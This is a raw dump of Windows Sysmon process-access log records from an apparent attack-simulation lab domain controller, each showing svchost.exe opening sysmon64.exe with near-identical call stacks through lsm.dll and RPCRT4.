09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001391Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001390Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001389Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001388Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.590{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001387Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001386Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001385Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001384Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001383Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001382Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001381Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001380Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001379Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001378Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001377Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001376Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001375Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.575{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001374Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001373Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001372Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001371Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001370Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001369Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001368Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 